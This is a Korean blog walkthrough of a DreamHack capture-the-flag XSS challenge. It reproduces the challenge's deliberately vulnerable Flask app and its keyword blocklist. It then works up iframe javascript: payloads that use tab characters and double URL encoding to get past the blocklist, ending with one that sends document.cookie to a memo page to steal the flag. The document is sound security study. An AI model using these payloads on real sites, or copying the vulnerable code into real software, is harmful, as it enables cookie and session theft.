#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"] #유니코드 막음
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
코드가 꽤 길다 각 페이지 별로 설명을 해보자면
- /vuln 페이지
get요청으로 param을 받고 xss_filter 함수에서 필터링을 진행 한 뒤, 결과값을 바로 리턴한다.
-/flag 페이지
get요청은 flag.html파일을 열고
post요청을 보냈을 때, check_xss함수를 call한다.
check_xss 함수를 쭉 올라가보면 read_url함수를 호출해 vuln 엔드포인트에 접속하는 것을 알 수 있다.
-/memo
memo파라미터를 받고 memo_text변수에 넣은 뒤 render_template함수를 호출해 렌더링 하여 리턴한다.
취약점을 좀 보자면은 먼저 vuln페이지에서 결과값을 바로 리턴하기 때문에 xss 취약점이 발생할 수 있을 것 같다.
memo페이지는 render_template함수를 사용하기 때문에 뚫기 쉽지 않아 보인다.
그래서 먼저 vuln페이지를 통해 xss 공격을 시도해볼 것이다.
xss_filter를 보면은 script,on,javascript, window, self, .... 등등 여러가지가 필터링 되는걸 알 수 있다.
그래서 대부분의 방법은 막힐 것이고 그렇다면 생각나는 방법이 uri 인코딩이 있다.
저 네줄의 스크립트 중 URI라고 표시되어 있는 곳은 uri normalize를 거친다고 한다.
1. \n, \t 등이 제거된다.
2. %03처럼 퍼센트 인코딩된 것을 바꿔준다. %03은 1바이트 값 0x03으로 바꾼다.
그리고 스크립트를 사용해야 하기 때문에 저 네 줄 중 iframe을 사용해주도록 하겠다. 왜냐하면 iframe태그의 src속성은 URL을 인자로 받기 때문에 활성 하이퍼링크를 이용해 자바스크립트 코드를 삽입하는것이 가능하기 때문이다.
ex) <iframe src="javascript:alert(1)">
그렇다면 xss 공격이 되는지 위의 alert코드를 삽입해보도록 하겠다.
그냥 삽입하면 script 등 필터링에 걸리니 uri normalize를 이용해 우회해보겠다.
<iframe src="javas%09cript:alert%25281%2529">
먼저 %09는 tab이기 때문에 위의 1번 규칙으로 인해 제거된다. 그리고 %2528과 %2529는 각각 '(' 과 ')'를 뜻하는 퍼센트 인코딩 값이다.
아스키 코드표를 보면은 '('는 단순 %28이지만 위의 문제는 '('와 ')'를 필터링하고 있기 때문에 이중 인코딩을 사용해야 한다. 이중인코딩이란 %28을 한번더 인코딩한건데 %가 %25이기때문에 %를 인코딩하여 %2528이된것이다.
https://www.bugbountyclub.com/pentestgym/view/39
위는 이중 인코딩 참고 사이트이다.
결국엔 alert가 잘 작동되는걸 확인했다. 그렇다면 flag를 확인해줘야 하는데 flag의 값을 memo 페이지에 나오게 할 것이다.
먼저 vuln 페이지에서
<iframe src="javas%09cript:locatio%09n.href='/memo?memo='%2bdocumen%09t.cookie">
이렇게 입력하면 memo페이지가 나오는걸 알 수 있다. (%2b는 +)
현재 페이지에선 cookie의 값이 아무것도 없기 때문에 memo페이지에 공백만 추가된것이 보인다. 우리는 그 위의 쿠키값을 얻어야 하기 때문에 flag페이지에서 진행해줘야 한다.
하지만 flag페이지에 위와 똑같이 치면은 flag가 안나온다.
그 이유는 인코딩 방식에 있다.
check_xss 함수에서 urlib.parse.quote 함수를 사용했는데 이는 url 인코딩 함수이다.
이 함수에서 인코딩을 해주기 때문에 우리가 굳이 인코딩된 값을 안써줘도 된다. 괜히 써봤자 이중인코딩이 되어 flag가 안나오게 된다.
때문에 <iframe src="javas cript:locatio n.href='/memo?memo='+documen t.cookie">
이렇게 인코딩이 안된 값을 넣어줘야 한다. (%09값은 tab이므로 메모장 같은데서 직접 tab을 써줘야 한다. 띄어쓰기 몇번 한걸로 tab으로 인식이 안된다)
그러면은 memo페이지에 flag값이 올라와있는걸 알 수 있다.
몇가지 더 살펴보자면 javascript 문법 상 unicode escape sequence가 지원된다. 그래서 원래라면 유니코드로 변환된 값을 써줘도 무방하겠지만 이외의 환경에서도 동일한 방식으로 우회할 수 있는것은 아니다.
<iframe src="javas cript:locatio n.href='/memo?memo='+documen\u0074.cookie">
때문에 위와 같이 코드를 작성해도 올바르게 작동하지 않는다.
(참고 : https://dreamhack.io/forum/qna/3241/)
생각보다 우여곡절이 많았던 문제이다. 아무리 어려워도 여러 이론들을 구글링 해보고 차근차근 푸는게 중요한거 같다.
'Web Hacking > DreamHack' 카테고리의 다른 글
[Dreamhack] blind sql injection (0) | 2024.04.10 |
---|---|
[DreamHack] xss-1 풀이 (0) | 2024.04.04 |
드림핵 phpmyRedis 문제 (0) | 2023.11.24 |
드림핵 sql injection bypass WAF advanced 풀이 (0) | 2023.11.11 |
드림핵 blind sql injection advanced 풀이 (2) | 2023.10.20 |